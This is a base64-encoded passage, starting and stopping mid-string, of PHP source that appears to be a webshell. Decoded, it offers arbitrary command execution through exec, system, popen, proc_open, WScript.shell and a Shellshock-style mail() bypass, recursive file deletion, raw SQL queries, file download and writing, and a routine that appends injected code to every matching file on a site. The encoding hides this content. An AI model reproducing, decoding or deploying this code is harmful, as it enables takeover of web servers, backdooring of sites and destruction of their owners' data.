NCn0NCg0KZnVuY3Rpb24gZG9fc2hvdygkZmlsZXBhdGgpew0KCSRzaG93ID0gYXJyYXkoKTsNCgkkZGlyID0gZGlyKCRmaWxlcGF0aCk7DQoJd2hpbGUoJGZpbGUgPSAkZGlyLT5yZWFkKCkpew0KCQlpZigkZmlsZSA9PSAnLicgb3IgJGZpbGUgPT0gJy4uJykgY29udGludWU7DQoJCSRmaWxlcyA9IHN0cl9wYXRoKCRmaWxlcGF0aC4nLycuJGZpbGUpOw0KCQkkc2hvd1tdID0gJGZpbGVzOw0KCX0NCgkkZGlyLT5jbG9zZSgpOw0KCXJldHVybiAkc2hvdzsNCn0NCg0KZnVuY3Rpb24gZG9fZGVsdHJlZSgkZGVsZGlyKXsNCgkkc2hvd2ZpbGUgPSBkb19zaG93KCRkZWxkaXIpOw0KCWZvcmVhY2goJHNob3dmaWxlIGFzICRkZWwpew0KCQlpZihpc19kaXIoJGRlbCkpew0KCQkJaWYoIWRvX2RlbHRyZWUoJGRlbCkpIHJldHVybiBmYWxzZTsNCgkJfWVsc2VpZighaXNfZGlyKCRkZWwpKXsNCgkJCUBjaG1vZCgkZGVsLDA3NzcpOw0KCQkJaWYoIUB1bmxpbmsoJGRlbCkpIHJldHVybiBmYWxzZTsNCgkJfQ0KCX0NCglAY2htb2QoJGRlbGRpciwwNzc3KTsNCglpZighQHJtZGlyKCRkZWxkaXIpKSByZXR1cm4gZmFsc2U7DQoJcmV0dXJuIHRydWU7DQp9DQoNCmZ1bmN0aW9uIGRvX3Nob3dzcWwoJHF1ZXJ5LCRjb25uKXsNCgkkcmVzdWx0ID0gQG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubik7DQoJaHRtbF9uKCc8YnI+PGJyPjx0ZXh0YXJlYSBjb2xzPSI3MCIgcm93cz0iMTUiPicpOw0KCXdoaWxlKCRyb3cgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpew0KCQlmb3IoJGk9MDskaSA8IEBteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOyRpKyspew0KCQkJaHRtbF9uKGh0bWxzcGVjaWFsY2hhcnMoJHJvd1skaV0pKTsNCgkJfQ0KCX0NCglodG1sX24oJzwvdGV4dGFyZWE+Jyk7DQp9DQoNCmZ1bmN0aW9uIGhtbG9naW4oJHhpYW89MSl7DQokc2VydmVydSA9ICRfU0VSVkVSIFsnSFRUUF9IT1NUJ10uJF9TRVJWRVJbJ1BIUF9TRUxGJ107DQokc2VydmVycCA9IHBvc3RwYXNzOw0KaWYgKHN0cnBvcygkc2VydmVydSwiMC4wIik+MCBvciBzdHJwb3MoJHNlcnZlcnUsIjE5Mi4xNjguIik+MCBvciBzdHJwb3MoJHNlcnZlcnUsImxvY2FsaG9zdCIpPjAgb3IgKCRzZXJ2ZXJ1PT0kX0NPT0tJRVsnc2VydmVydSddIGFuZCAkc2VydmVycD09JF9DT09LSUVbJ3NlcnZlcnAnXSkpIHtlY2hvICI8bWV0YSBodHRwLWVxdWl2PSdyZWZyZXNoJyBjb250ZW50PScwO1VSTD0/Jz4iO30gZWxzZSB7c2V0Y29va2llKCdzZXJ2ZXJ1Jywkc2VydmVydSk7c2V0Y29va2llKCdzZXJ2ZXJwJywkc2VydmVycCk7aWYoJHhpYW89PTEpe2VjaG8gIjxzY3JpcHQgc3JjPSc/bG9naW49Z2V0dXJsJz48L3NjcmlwdD48bWV0YSBodHRwLWVxdWl2PSdyZWZyZXNoJyBjb250ZW50PScwO1VSTD0/Jz4iO31lbHNle2dldHVybCgpO319DQp9DQoNCmZ1bmN0aW9uIGRvX2Rvd24oJGZkKXsNCglpZighQGZpbGVfZXhpc3RzKCRmZCkpIG1zZygnz8LU2M7EvP6yu7Tm1NonKTsNCgkkZmlsZWluZm8gPSBwYXRoaW5mbygkZmQpOw0KCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LScuJGZpbGVpbmZvWydleHRlbnNpb24nXSk7DQoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlaW5mb1snYmFzZW5hbWUnXSk7DQoJaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJy5maWxlc2l6ZSgkZmQpKTsNCglAcmVhZGZpbGUoJGZkKTsNCglleGl0Ow0KfQ0KDQpmdW5jdGlvbiBkb19kb3dubG9hZCgkZmlsZWNvZGUsJGZpbGUpew0KCWhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi91bmtub3duIik7DQoJaGVhZGVyKCdBY2NlcHQtUmFuZ2VzOiBieXRlcycpOw0KCWhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuc3RybGVuKCRmaWxlY29kZSkpOw0KCWhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ii4kZmlsZS4iOyIpOw0KCWVjaG8gJGZpbGVjb2RlOw0KCWV4aXQ7DQp9DQoNCmZ1bmN0aW9uIFRlc3RVdGY4KCR0ZXh0KQ0Ke2lmKHN0cmxlbigkdGV4dCkgPCAzKSByZXR1cm4gZmFsc2U7DQokbGFzdGNoID0gMDsNCiRiZWdpbiA9IDA7DQokQk9NID0gdHJ1ZTsNCiRCT01jaHMgPSBhcnJheSgweEVGLCAweEJCLCAweEJGKTsNCiRnb29kID0gMDsNCiRiYWQgPSAwOw0KJG5vdEFzY2lpID0gMDsNCmZvcigkaT0wOyAkaSA8IHN0cmxlbigkdGV4dCk7ICRpKyspDQp7JGNoID0gb3JkKCR0ZXh0WyRpXSk7DQppZigkYmVnaW4gPCAzKQ0KeyAkQk9NID0gKCRCT01jaHNbJGJlZ2luXT09JGNoKTsNCiRiZWdpbiArPSAxOw0KY29udGludWU7IH0NCmlmKCRiZWdpbj09NCAmJiAkQk9NKSBicmVhazsNCmlmKCRjaCA+PSAweDgwICkgJG5vdEFzY2lpKys7DQppZiggKCRjaCYweEMwKSA9PSAweDgwICkNCntpZiggKCRsYXN0Y2gmMHhDMCkgPT0gMHhDMCApDQp7JGdvb2QgKz0gMTt9DQplbHNlIGlmKCAoJGxhc3RjaCYweDgwKSA9PSAwICkNCnskYmFkICs9IDE7IH19DQplbHNlIGlmKCAoJGxhc3RjaCYweEMwKSA9PSAweEMwICkNCnskYmFkICs9IDE7fQ0KJGxhc3RjaCA9ICRjaDt9DQppZigkYmVnaW4gPT0gNCAmJiAkQk9NKQ0Ke3JldHVybiAyO30NCmVsc2UgaWYoJG5vdEFzY2lpPT0wKQ0Ke3JldHVybiAxO30NCmVsc2UgaWYgKCRnb29kID49ICRiYWQgKQ0Ke3JldHVybiAyO30NCmVsc2UNCntyZXR1cm4gMDt9fQ0KDQpmdW5jdGlvbiBGaWxlX1N0cigkc3RyaW5nKQ0Kew0KCXJldHVybiBzdHJfcmVwbGFjZSgnLy8nLCcvJyxzdHJfcmVwbGFjZSgnXFwnLCcvJywkc3RyaW5nKSk7DQp9DQoNCmZ1bmN0aW9uIEZpbGVfV3JpdGUoJGZpbGVuYW1lLCRmaWxlY29kZSwkZmlsZW1vZGUpDQp7DQoJJGtleSA9IHRydWU7DQoJJGhhbmRsZSA9IEBmb3BlbigkZmlsZW5hbWUsJGZpbGVtb2RlKTsNCglpZighQGZ3cml0ZSgkaGFuZGxlLCRmaWxlY29kZSkpDQoJew0KCQlAY2htb2QoJGZpbGVuYW1lLDA2NjYpOw0KCQkka2V5ID0gQGZ3cml0ZSgkaGFuZGxlLCRmaWxlY29kZSkgPyB0cnVlIDogZmFsc2U7DQoJfQ0KCUBmY2xvc2UoJGhhbmRsZSk7DQoJcmV0dXJuICRrZXk7DQp9DQoNCmZ1bmN0aW9uIEV4ZWNfUnVuKCRjbWQpDQp7DQoJJHJlcyA9ICcnOw0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKXtAZXhlYygkY21kLCRyZXMpOyRyZXMgPSBqb2luKCJcbiIsJHJlcyk7fQ0KCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSl7JHJlcyA9IEBzaGVsbF9leGVjKCRjbWQpO30NCgllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSl7QG9iX3N0YXJ0KCk7QHN5c3RlbSgkY21kKTskcmVzID0gQG9iX2dldF9jb250ZW50cygpO0BvYl9lbmRfY2xlYW4oKTt9DQoJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSl7QG9iX3N0YXJ0KCk7QHBhc3N0aHJ1KCRjbWQpOyRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7QG9iX2VuZF9jbGVhbigpO30NCgllbHNlaWYoQGlzX3Jlc291cmNlKCRmPUBwb3BlbigkY21kLCdyJykpKXskcmVzID0gJyc7d2hpbGUoIUBmZW9mKCRmKSl7JHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7fUBwY2xvc2UoJGYpO30NCgllbHNlaWYoc3Vic3RyKGRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSwwLDEpIT0iLyImJmNsYXNzX2V4aXN0cygnQ09NJykpeyR3PW5ldyBDT00oJ1dTY3JpcHQuc2hlbGwnKTskZT0kdy0+ZXhlYygkY21kKTskZj0kZS0+U3RkT3V0KCk7JHJlcz0kZi0+UmVhZEFsbCgpO30NCgllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwcm9jX29wZW4nKSl7JGxlbmd0aCA9IHN0cmNzcG4oJGNtZCwiIFx0Iik7JHRva2VuID0gc3Vic3RyKCRjbWQsIDAsICRsZW5ndGgpO2lmIChpc3NldCgkYWxpYXNlc1skdG9rZW5dKSkkY21kPSRhbGlhc2VzWyR0b2tlbl0uc3Vic3RyKCRjbWQsICRsZW5ndGgpOyRwID0gcHJvY19vcGVuKCRjbWQsYXJyYXkoMSA9PiBhcnJheSgncGlwZScsICd3JyksMiA9PiBhcnJheSgncGlwZScsICd3JykpLCRpbyk7d2hpbGUgKCFmZW9mKCRpb1sxXSkpIHskcmVzIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzFdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTt9d2hpbGUgKCFmZW9mKCRpb1syXSkpIHskcmVzIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTt9ZmNsb3NlKCRpb1sxXSk7ZmNsb3NlKCRpb1syXSk7cHJvY19jbG9zZSgkcCk7fQ0KCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ21haWwnKSl7aWYoc3Ryc3RyKHJlYWRsaW5rKCIvYmluL3NoIiksICJiYXNoIikgIT0gRkFMU0UpeyR0bXAgPSB0ZW1wbmFtKCIuIiwiZGF0YSIpO3B1dGVudigiUEhQX0xPTD0oKSB7IHg7IH07ICRjbWQgPiR0bXAgMj4mMSIpO21haWwoImFAMTI3LjAuMC4xIiwiIiwiIiwiIiwiLWJ2Iik7fWVsc2UgJHJlcz0iTm90IHZ1bG4gKG5vdCBiYXNoKSI7JG91dHB1dCA9IEBmaWxlX2dldF9jb250ZW50cygkdG1wKTtAdW5saW5rKCR0bXApO2lmKCRvdXRwdXQgIT0gIiIpICRyZXM9JG91dHB1dDtlbHNlICRyZXM9Ik5vIG91dHB1dCwgb3Igbm90IHZ1bG4uIjt9DQoJcmV0dXJuICRyZXM7DQp9DQoNCmZ1bmN0aW9uIEZpbGVfTW9kZSgpDQp7DQoJJFJlYWxQYXRoID0gcmVhbHBhdGgoJy4vJyk7DQoJJFNlbGZQYXRoID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ107DQoJJFNlbGZQYXRoID0gc3Vic3RyKCRTZWxmUGF0aCwgMCwgc3RycnBvcygkU2VsZlBhdGgsJy8nKSk7DQoJcmV0dXJuIEZpbGVfU3RyKHN1YnN0cigkUmVhbFBhdGgsIDAsIHN0cmxlbigkUmVhbFBhdGgpIC0gc3RybGVuKCRTZWxmUGF0aCkpKTsNCn0NCg0KZnVuY3Rpb24gR2V0RmlsZU93bmVyKCRGaWxlKSB7DQoJCWlmKFBBVEhfU0VQQVJBVE9SPT0nOicpew0KCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSB7DQoJCQkkRmlsZSA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkRmlsZSkpOw0KCQkJfQ0KCQkJcmV0dXJuICRGaWxlWyduYW1lJ107DQoJCX0NCn0NCg0KZnVuY3Rpb24gR2V0RmlsZUdyb3VwKCRGaWxlKSB7DQoJCWlmKFBBVEhfU0VQQVJBVE9SPT0nOicpew0KICAgICAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7DQoJCQkkRmlsZSA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkRmlsZSkpOw0KCQkJfQ0KCQkJcmV0dXJuICRGaWxlWyduYW1lJ107DQoJCX0NCn0NCg0KZnVuY3Rpb24gRmlsZV9TaXplKCRzaXplKQ0Kew0KICAgICAgICAka2IgPSAxMDI0Ow0KICAgICAgICAkbWIgPSAxMDI0ICogJGtiOw0KICAgICAgICAkZ2IgPSAxMDI0ICogJG1iOw0KICAgICAgICAkdGIgPSAxMDI0ICogJGdiOw0KICAgICAgICBpZigkc2l6ZSA8ICRrYikNCiAgICAgICAgew0KICAgICAgICAgICAgcmV0dXJuICRzaXplLiIgQiI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZSBpZigkc2l6ZSA8ICRtYikNCiAgICAgICAgew0KICAgICAgICAgICAgcmV0dXJuIHJvdW5kKCRzaXplLyRrYiwyKS4iIEsiOw0KICAgICAgICB9DQogICAgICAgIGVsc2UgaWYoJHNpemUgPCAkZ2IpDQogICAgICAgIHsNCiAgICAgICAgICAgIHJldHVybiByb3VuZCgkc2l6ZS8kbWIsMikuIiBNIjsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlIGlmKCRzaXplIDwgJHRiKQ0KICAgICAgICB7DQogICAgICAgICAgICByZXR1cm4gcm91bmQoJHNpemUvJGdiLDIpLiIgRyI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICByZXR1cm4gcm91bmQoJHNpemUvJHRiLDIpLiIgVCI7DQogICAgICAgIH0NCiB9DQoNCmZ1bmN0aW9uIEZpbGVfUmVhZCgkZmlsZW5hbWUpDQp7DQoJJGhhbmRsZSA9IEBmb3BlbigkZmlsZW5hbWUsInJiIik7DQoJJGZpbGVjb2RlID0gQGZyZWFkKCRoYW5kbGUsQGZpbGVzaXplKCRmaWxlbmFtZSkpOw0KCUBmY2xvc2UoJGhhbmRsZSk7DQoJcmV0dXJuICRmaWxlY29kZTsNCn0NCg0KZnVuY3Rpb24gYXJyYXlfaWNvbnYoJGRhdGEsICAkb3V0cHV0ID0gJ3V0Zi04Jykgew0KICAgICRlbmNvZGVfYXJyID0gYXJyYXkoJ1VURi04JywnQVNDSUknLCdHQksnLCdHQjIzMTInLCdCSUc1JywnSklTJywnZXVjanAtd2luJywnc2ppcy13aW4nLCdFVUMtSlAnKTsNCiAgICAkZW5jb2RlZCA9IG1iX2RldGVjdF9lbmNvZGluZygkZGF0YSwgJGVuY29kZV9hcnIpOw0KDQogICAgaWYgKCFpc19hcnJheSgkZGF0YSkpIHsNCiAgICAgICAgcmV0dXJuIG1iX2NvbnZlcnRfZW5jb2RpbmcoJGRhdGEsICRvdXRwdXQsICRlbmNvZGVkKTsNCiAgICB9DQogICAgZWxzZSB7DQogICAgICAgIGZvcmVhY2ggKCRkYXRhIGFzICRrZXk9PiR2YWwpIHsNCiAgICAgICAgICAgICRrZXkgPSBhcnJheV9pY29udigka2V5LCAkb3V0cHV0KTsNCiAgICAgICAgICAgIGlmKGlzX2FycmF5KCR2YWwpKSB7DQogICAgICAgICAgICAgICAgJGRhdGFbJGtleV0gPSBhcnJheV9pY29udigkdmFsLCAkb3V0cHV0KTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkZGF0YVska2V5XSA9IG1iX2NvbnZlcnRfZW5jb2RpbmcoJGRhdGEsICRvdXRwdXQsICRlbmNvZGVkKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIHJldHVybiAkZGF0YTsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIEluZm9fQ2ZnKCR2YXJuYW1lKXtzd2l0Y2goJHJlc3VsdCA9IGdldF9jZmdfdmFyKCR2YXJuYW1lKSl7Y2FzZSAwOiByZXR1cm4gIk5vIjsgYnJlYWs7IGNhc2UgMTogcmV0dXJuICJZZXMiOyBicmVhazsgZGVmYXVsdDogcmV0dXJuICRyZXN1bHQ7IGJyZWFrO319DQpmdW5jdGlvbiBJbmZvX0Z1bigkZnVuTmFtZSl7cmV0dXJuIChmYWxzZSAhPT0gZnVuY3Rpb25fZXhpc3RzKCRmdW5OYW1lKSkgPyAiWWVzIiA6ICJObyI7fQ0KDQpmdW5jdGlvbiBkb19waHBmdW4oJGNtZCwkZnVuKSB7DQoJJHJlcyA9ICcnOw0KCXN3aXRjaCgkZnVuKXsNCgkJY2FzZSAiZXhlYyI6IEBleGVjKCRjbWQsJHJlcyk7ICRyZXMgPSBqb2luKCJcbiIsJHJlcyk7IGJyZWFrOw0KCQljYXNlICJzaGVsbF9leGVjIjogJHJlcyA9IEBzaGVsbF9leGVjKCRjbWQpOyBicmVhazsNCgkJY2FzZSAic3lzdGVtIjogQG9iX3N0YXJ0KCk7CUBzeXN0ZW0oJGNtZCk7ICRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CUBvYl9lbmRfY2xlYW4oKTticmVhazsNCgkJY2FzZSAicGFzc3RocnUiOiBAb2Jfc3RhcnQoKTsJQHBhc3N0aHJ1KCRjbWQpOyAkcmVzID0gQG9iX2dldF9jb250ZW50cygpOwlAb2JfZW5kX2NsZWFuKCk7YnJlYWs7DQoJCWNhc2UgInBvcGVuIjogaWYoQGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRjbWQsInIiKSkpeyB3aGlsZSghQGZlb2YoJGYpKQkkcmVzIC49IEBmcmVhZCgkZiwxMDI0KTt9IEBwY2xvc2UoJGYpO2JyZWFrOw0KCX0NCglyZXR1cm4gJHJlczsNCn0NCg0KDQoNCg0KDQpmdW5jdGlvbiBkb19wYXNzcmV0dXJuKCRkaXIsJGNvZGUsJHR5cGUsJGJvb2wsJGZpbGV0eXBlID0gJycsJHNoZWxsID0gbXlfc2hlbGwpew0KCSRzaG93ID0gZG9fc2hvdygkZGlyKTsNCglmb3JlYWNoKCRzaG93IGFzICRmaWxlcyl7DQoJCWlmKGlzX2RpcigkZmlsZXMpICYmICRib29sKXsNCgkJCWRvX3Bhc3NyZXR1cm4oJGZpbGVzLCRjb2RlLCR0eXBlLCRib29sLCRmaWxldHlwZSwkc2hlbGwpOw0KCQl9ZWxzZXsNCgkJCWlmKCRmaWxlcyA9PSAkc2hlbGwpIGNvbnRpbnVlOw0KCQkJc3dpdGNoKCR0eXBlKXsNCgkJCQljYXNlICJndWFtYSI6DQoJCQkJaWYoZGVidWcoJGZpbGVzLCRmaWxldHlwZSkpew0KCQkJCQlkb193cml0ZSgkZmlsZXMsImFiIiwiXG4iLiRjb2RlKSA/IGh0bWxfbigis8m5pi0tPiAkZmlsZXM8YnI+IikgOiBodG1sX24oIsqnsNwtLT4gJGZpbGVzPGJyPiIpOw0KCQkJCX0NCgkJCQlicmVhazsNCgkJCQljYXNlICJxaW5nbWEiOg0KCQkJCSRmaWxlY29kZSA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZXMpOw0KCQkJCWlmKHN0cmlzdHIoJGZpbGVjb2RlLCRjb2RlKSl7DQoJCQkJCSRuZXdjb2RlID0gc3RyX3JlcGxhY2UoJGNvZGUsJycsJGZpbGVjb2RlKTsNCgkJCQkJZG9fd3JpdGUoJGZpbGVzLCJ3YiIsJG5ld2NvZGUpID8gaHRtbF9uKCKzybmmLS0+ICRmaWxlczxicj4iKSA6IGh0bWxfbigiyqew3C0tPiAkZmlsZXM8YnI+Iik7DQoJCQkJfQ0KCQkJCWJyZWFrOw0KCQkJCWNhc2UgInRpaHVhbiI6DQoJCQkJJGZpbGVjb2RlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlcyk7DQoJCQkJaWYoc3RyaXN0cigkZmlsZWNvZGUsJGNvZGUpKXsNCgkJCQkJJG5ld2NvZGUgPSBzdHJfcmVwbGFjZSgkY29kZSwkZmlsZXR5cGUsJGZpbGVjb2RlKTsNCgkJCQkJZG9fd3JpdGUoJGZpbGVzLCJ3YiIsJG5ld2NvZGUpID8gaHRtbF9uKCKzybmmLS0+ICRmaWxlczxicj4iKSA6IGh0bWxfbigiyqew3C0tPiAkZmlsZXM8YnI+Iik7DQoJCQkJfQ0KCQkJCWJyZWFrOw0KCQkJCWNhc2UgInNjYW5maWxlIjoNCgkJCQkkZmlsZSA9IGV4cGxvZGUoJy8nLCRmaWxlcyk7DQoJCQkJaWYoc3RyaXN0cigkZmlsZVtjb3VudCgkZmlsZSktMV0sJGNvZGUpKXsNCgkJCQkJaHRtbF9hKCI/ZWFudmVyPWVkaXRyJnA9JGZpbGVzIiwkZmlsZXMpOw0KCQkJCQllY2hvICc8YnI+JzsNCgkJCQl9DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAic2NhbmNvZGUiOg0KCQkJCSRmaWxlY29kZSA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZXMpOw0KCQkJCWlmKHN0cmlzdHIoJGZpbGVjb2RlLCRjb2RlKSl7DQoJCQkJCWh0bWxfYSgiP2VhbnZlcj1lZGl0ciZwPSRmaWxlcyIsJGZpbGVzKTsNCgkJCQkJZWNobyAnPGJyPic7DQoJCQkJfQ0KCQkJCWJyZWFrOw0KCQkJCWNhc2UgInNjYW5waHAiOg0KCQkJCSRmaWxlaW5mbyA9IHBhdGhpbmZvKCRmaWxlcyk7DQoJCQkJaWYoJGZpbGVpbmZvWydleHRlbnNpb24nXSA9PSAkY29kZSl7DQoJCQkJCSRmaWxlY29kZSA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZXMpOw0KCQkJCQlpZihtdW1hKCRmaWxlY29kZSwkY29kZSkpew0KCQkJCQkJaHRtbF9hKCI/ZWFudmVyPWVkaXRyJnA9Ii51cmxlbmNvZGUoJGZpbGVzKSwiseC8rSIpOw0KCQkJCQkJaHRtbF9hKCI/ZWFudmVyPWRlbCZwPSIudXJsZW5jb2RlKCRmaWxlcyksIsm+s/0iKTsNCgkJCQkJCWVjaG8gJGZpbGVzLic8YnI+JzsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlicmVhazsNCgkJCX0NCgkJfQ0KCX0NCn0NCg0KDQpjbGFzcyBQSFB6aXB7DQoNCgl2YXIgJGZpbGVfY291bnQgPSAwIDsNCgl2YXIgJGRhdGFzdHJfbGVuICAgPSAwOw0KCXZhciAkZGlyc3RyX2xlbiA9IDA7DQoJdmFyICRmaWxlZGF0YSA9ICcnOw0KCXZhciAkZ3pmaWxlbmFtZTsNCgl2YXIgJGZwOw0KCXZhciAkZGlyc3RyPScnOw0KDQogICAgZnVuY3Rpb24gdW5peDJEb3NUaW1lKCR1bml4dGltZSA9IDApIHsNCiAgICAgICAgJHRpbWVhcnJheSA9ICgkdW5peHRpbWUgPT0gMCkgPyBnZXRkYXRlKCkgOiBnZXRkYXRlKCR1bml4dGltZSk7DQoNCiAgICAgICAgaWYgKCR0aW1lYXJyYXlbJ3llYXInXSA8IDE5ODApIHsNCiAgICAgICAgCSR0aW1lYXJyYXlbJ3llYXInXSAgICA9IDE5ODA7DQogICAgICAgIAkkdGltZWFycmF5Wydtb24nXSAgICAgPSAxOw0KICAgICAgICAJJHRpbWVhcnJheVsnbWRheSddICAgID0gMTsNCiAgICAgICAgCSR0aW1lYXJyYXlbJ2hvdXJzJ10gICA9IDA7DQogICAgICAgIAkkdGltZWFycmF5WydtaW51dGVzJ10gPSAwOw0KICAgICAgICAJJHRpbWVhcnJheVsnc2Vjb25kcyddID0gMDsNCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiAoKCR0aW1lYXJyYXlbJ3llYXInXSAtIDE5ODApIDw8IDI1KSB8ICgkdGltZWFycmF5Wydtb24nXSA8PCAyMSkgfCAoJHRpbWVhcnJheVsnbWRheSddIDw8IDE2KSB8DQogICAgICAgICAgICAgICAoJHRpbWVhcnJheVsnaG91cnMnXSA8PCAxMSkgfCAoJHRpbWVhcnJheVsnbWludXRlcyddIDw8IDUpIHwgKCR0aW1lYXJyYXlbJ3NlY29uZHMnXSA+PiAxKTsNCiAgICB9DQoNCglmdW5jdGlvbiBzdGFydGZpbGUoJHBhdGggPSAid2ViLnppcCIpew0KCQkkdGhpcy0+Z3pmaWxlbmFtZT0kcGF0aDsNCgkJJG15cGF0aGRpcj1hcnJheSgpOw0KCQlkb3sNCgkJCSRteXBhdGhkaXJbXSA9ICRwYXRoID0gZGlybmFtZSgkcGF0aCk7DQoJCX13aGlsZSgkcGF0aCAhPSAnLicpOw0KCQlAZW5kKCRteXBhdGhkaXIpOw0KCQlkb3sNCgkJCSRwYXRoID0gQGN1cnJlbnQoJG15cGF0aGRpcik7DQoJCQlAbWtkaXIoJHBhdGgpOw0KCQl9d2hpbGUoQHByZXYoJG15cGF0aGRpcikpOw0KDQoJCWlmKCR0aGlzLT5mcD1AZm9wZW4oJHRoaXMtPmd6ZmlsZW5hbWUsInciKSl7DQoJCQlyZXR1cm4gdHJ1ZTsNCgkJfQ0KCQlyZXR1cm4gZmFsc2U7DQoJfQ0KDQogICAgZnVuY3Rpb24gYWRkZmlsZSgkZGF0YSwgJG5hbWUpew0KICAgICAgICAkbmFtZSAgICAgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRuYW1lKTsNCg0KCQlpZihzdHJyY2hyKCRuYW1lLCcvJyk9PScvJykgcmV0dXJuICR0aGlzLT5hZGRkaXIoJG5hbWUpOw0KDQogICAgICAgICRkdGltZSAgICA9IGRlY2hleCgkdGhpcy0+dW5peDJEb3NUaW1lKCkpOw0KICAgICAgICAkaGV4ZHRpbWUgPSAnXHgnIC4gJGR0aW1lWzZdIC4gJGR0aW1lWzddDQogICAgICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbNF0gLiAkZHRpbWVbNV0NCiAgICAgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVsyXSAuICRkdGltZVszXQ0KICAgICAgICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzBdIC4gJGR0aW1lWzFdOw0KICAgICAgICBldmFsKCckaGV4ZHRpbWUgPSAiJyAuICRoZXhkdGltZSAuICciOycpOw0KDQogICAgICAgICR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsNCiAgICAgICAgJGNyYyAgICAgPSBjcmMzMigkZGF0YSk7DQogICAgICAgICR6ZGF0YSAgID0gZ3pjb21wcmVzcygkZGF0YSk7DQogICAgICAgICRjX2xlbiAgID0gc3RybGVuKCR6ZGF0YSk7DQogICAgICAgICR6ZGF0YSAgID0gc3Vic3RyKHN1YnN0cigkemRhdGEsIDAsIHN0cmxlbigkemRhdGEpIC0gNCksIDIpOw0KDQogICAgICAgICRkYXRhc3RyICA9ICJceDUwXHg0Ylx4MDNceDA0IjsNCiAgICAgICAgJGRhdGFzdHIgLj0gIlx4MTRceDAwIjsNCiAgICAgICAgJGRhdGFzdHIgLj0gIlx4MDBceDAwIjsNCiAgICAgICAgJGRhdGFzdHIgLj0gIlx4MDhceDAwIjsNCiAgICAgICAgJGRhdGFzdHIgLj0gJGhleGR0aW1lOw0KICAgICAgICAkZGF0YXN0ciAuPSBwYWNrKCdWJywgJGNyYyk7DQogICAgICAgICRkYXRhc3RyIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KICAgICAgICAkZGF0YXN0ciAuPSBwYWNrKCdWJywgJHVuY19sZW4pOw0KICAgICAgICAkZGF0YXN0ciAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSk7DQogICAgICAgICRkYXRhc3RyIC49IHBhY2soJ3YnLCAwKTsNCiAgICAgICAgJGRhdGFzdHIgLj0gJG5hbWU7DQogICAgICAgICRkYXRhc3RyIC49ICR6ZGF0YTsNCiAgICAgICAgJGRhdGFzdHIgLj0gcGFjaygnVicsICRjcmMpOw0KICAgICAgICAkZGF0YXN0ciAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCiAgICAgICAgJGRhdGFzdHIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCg0KDQoJCWZ3cml0ZSgkdGhpcy0+ZnAsJGRhdGFzdHIpOw0KCQkkbXlfZGF0YXN0cl9sZW4gPSBzdHJsZW4oJGRhdGFzdHIpOw0KCQl1bnNldCgkZGF0YXN0cik7DQoNCiAgICAgICAgJGRpcnN0ciAgPSAiXHg1MFx4NGJceDAxXHgwMiI7DQogICAgICAgICRkaXJzdHIgLj0gIlx4MDBceDAwIjsNCiAgICAgICAgJGRpcnN0ciAuPSAiXHgxNFx4MDAiOw0KICAgICAgICAkZGlyc3RyIC49ICJceDAwXHgwMCI7DQogICAgICAgICRkaXJzdHIgLj0gIlx4MDhceDAwIjsNCiAgICAgICAgJGRpcnN0ciAuPSAkaGV4ZHRpbWU7DQogICAgICAgICRkaXJzdHIgLj0gcGFjaygnVicsICRjcmMpOw0KICAgICAgICAkZGlyc3RyIC4